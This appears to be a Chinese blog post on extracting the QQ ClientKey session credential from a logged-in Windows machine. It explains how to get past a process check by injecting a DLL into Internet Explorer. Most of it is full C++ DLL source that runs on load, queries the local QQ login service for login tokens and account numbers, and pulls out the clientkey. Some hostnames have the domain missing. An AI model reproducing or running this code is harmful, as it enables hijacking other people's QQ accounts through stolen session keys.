读取QQ ClientKey失败分析

Make ClientKey Greate Again！！！

背景

网上有不少获取 ClientKey的方式，主要是两种：

一种是模拟浏览器访问本地登陆的方式获取ClientKey；

第二种就是注入到通过调用它的导出函数获取ClientKey；

上述的两种方式都不难找到各种源码和一些分析，这里跳过。

绕过

这里使用第一种，原因：

不会注入到，没什么乱七八糟的风险

不少朋友会发现在发送第二个请求（localhost.ptlogin2..com）的时候会出现403，而且在挂上brup suite和fd的时候单点就失效，但是挂上chrome自带的插件却不会！

这是为什么呢？

最大的可能就是对进程进行了校验，这里直接将进程名修改为chrome，发现不行，说明可能还校验了签名等其他乱七八糟的东西，但是当我把程序写成一个dll，在注入到iexplore.exe（这里抄的上述代码，代理是internet iexplore，所以注入的是ie）成功获取，下面是代码

// dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" #include 
  
    #include 
   
     #include 
    
      #include 
     
       #pragma comment(lib,"wininet.lib") char URL_STRING[] = "https://xui.ptlogin2..com/cgi-bin/xlogin?appid=636014201&s_url=http://www..com/2012/loginSuccess.htm&style=20&border_radius=1&target=self&maskOpacity=40"; void GameStart() { // 初始化URL URL_COMPONENTSA crackedURL = { 0 }; char szHostName[128]; char szUrlPath[256]; crackedURL.dwStructSize = sizeof(URL_COMPONENTSA); crackedURL.lpszHostName = szHostName; crackedURL.dwHostNameLength = ARRAYSIZE(szHostName); crackedURL.lpszUrlPath = szUrlPath; crackedURL.dwUrlPathLength = ARRAYSIZE(szUrlPath); InternetCrackUrlA(URL_STRING, (DWORD)strlen(URL_STRING), 0, &crackedURL); // 初始化会话 HINTERNET hInternet = InternetOpenA("Microsoft Internet Explorer", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); HINTERNET hHttpSession = InternetConnectA(hInternet, crackedURL.lpszHostName, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); HINTERNET hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", crackedURL.lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0); // 发送HTTP请求 HttpSendRequest(hHttpRequest, NULL, 0, NULL, 0); // 查询HTTP请求状态 DWORD dwRetCode = 0; DWORD dwSizeOfRq = sizeof(DWORD); BOOL bRet = FALSE; bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL); // 读取整个Headers char lpHeaderBuffer[1024] = { 0 }; dwSizeOfRq = 1024; bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_RAW_HEADERS, lpHeaderBuffer, &dwSizeOfRq, NULL); // 从Cookie中提取pt_local_token的值 char* pt_local_token = lpHeaderBuffer + dwSizeOfRq; while (pt_local_token != lpHeaderBuffer) { if (strstr(pt_local_token, "pt_local_token=")) { // 退出之前，修正偏移 pt_local_token += sizeof("pt_local_token"); char* pEndBuffer = strstr(pt_local_token, ";"); *pEndBuffer = 0; break; } pt_local_token--; } // 关闭句柄,只需要释放下面两个,注意关闭时按相反的顺序 InternetCloseHandle(hHttpRequest); InternetCloseHandle(hHttpSession); /* 第二次建立会话 */ // 初始化URL参数 char lpszUrlPath[MAX_PATH] = "/pt_get_uins?callback=ptui_getuins_CB&pt_local_tk="; strcat(lpszUrlPath, pt_local_token); // url末尾追加pt_local_token // 初始化会话 hHttpSession = InternetConnectA(hInternet, "localhost.ptlogin2..com", 4301, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0); // 发送HTTP请求,添加头信息 char lpHeaders[] = "Referer:https://xui.ptlogin2..com/cgi-bin/xlogin?appid=636014201&s_url=http%3A%2F%2Fwww..com%2F2012%2FloginSuccess.htm"; HttpSendRequestA(hHttpRequest, lpHeaders, strlen(lpHeaders), NULL, 0); // 查询HTTP请求状态 dwRetCode = 0; dwSizeOfRq = sizeof(DWORD); bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL); // 获取返回数据的大小 DWORD dwNumberOfBytesAvailable = 0; bRet = InternetQueryDataAvailable(hHttpRequest, &dwNumberOfBytesAvailable, NULL, NULL); // 读取网页内容 char* lpBuffer = new char[dwNumberOfBytesAvailable](); bRet = InternetReadFile(hHttpRequest, lpBuffer, dwNumberOfBytesAvailable, &dwNumberOfBytesAvailable); // 从内容中提取已登陆账号,是个js数组,这里只提取第一个 char* uin = lpBuffer + dwNumberOfBytesAvailable; while (uin != lpBuffer) { if (strstr(uin, "\"account\":")) { // 退出之前，修正偏移 uin += sizeof("\"account\":") - 1; char* pEndBuffer = strstr(uin, "}"); *pEndBuffer = 0; break; } uin--; } // 释放资源,注意关闭句柄时按相反的顺序 InternetCloseHandle(hHttpRequest); InternetCloseHandle(hHttpSession); /* 第三次会话 */ // 初始化URL参数 ZeroMemory(lpszUrlPath, MAX_PATH); strcat(lpszUrlPath, "/pt_get_st?clientuin="); strcat(lpszUrlPath, uin); strcat(lpszUrlPath, "&pt_local_tk="); strcat(lpszUrlPath, pt_local_token); strcat(lpszUrlPath, "&callback=__jp0"); printf("[+]%s \n", lpszUrlPath); // 发送HTTPS请求 hHttpSession = InternetConnectA(hInternet, "localhost.ptlogin2..com", 4301, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0); // 添加头信息 char lpHeaders2[] = "Referer:https://xui.ptlogin2..com/cgi-bin/xlogin?appid=636014201&s_url=http%3A%2F%2Fwww..com%2F2012%2FloginSuccess.htm"; HttpSendRequestA(hHttpRequest, lpHeaders2, strlen(lpHeaders2), NULL, 0); // 查询HTTP请求状态 dwRetCode = 0; dwSizeOfRq = sizeof(DWORD); bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL); // 读取整个Headers ZeroMemory(lpHeaderBuffer, 1024); dwSizeOfRq = 1024; bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_RAW_HEADERS, lpHeaderBuffer, &dwSizeOfRq, NULL); // 从Cookie中提取ClientKey的值 char* clientkey = lpHeaderBuffer + dwSizeOfRq; while (clientkey != lpHeaderBuffer) { if (strstr(clientkey, "clientkey=")) { // 退出之前，修正偏移 clientkey += sizeof("clientkey"); char* pEndBuffer = strstr(clientkey, ";"); *pEndBuffer = 0; break; } clientkey--; } OutputDebugStringA(clientkey); InternetCloseHandle(hHttpRequest); InternetCloseHandle(hHttpSession); InternetCloseHandle(hInternet); delete[] lpBuffer; } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: GameStart(); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }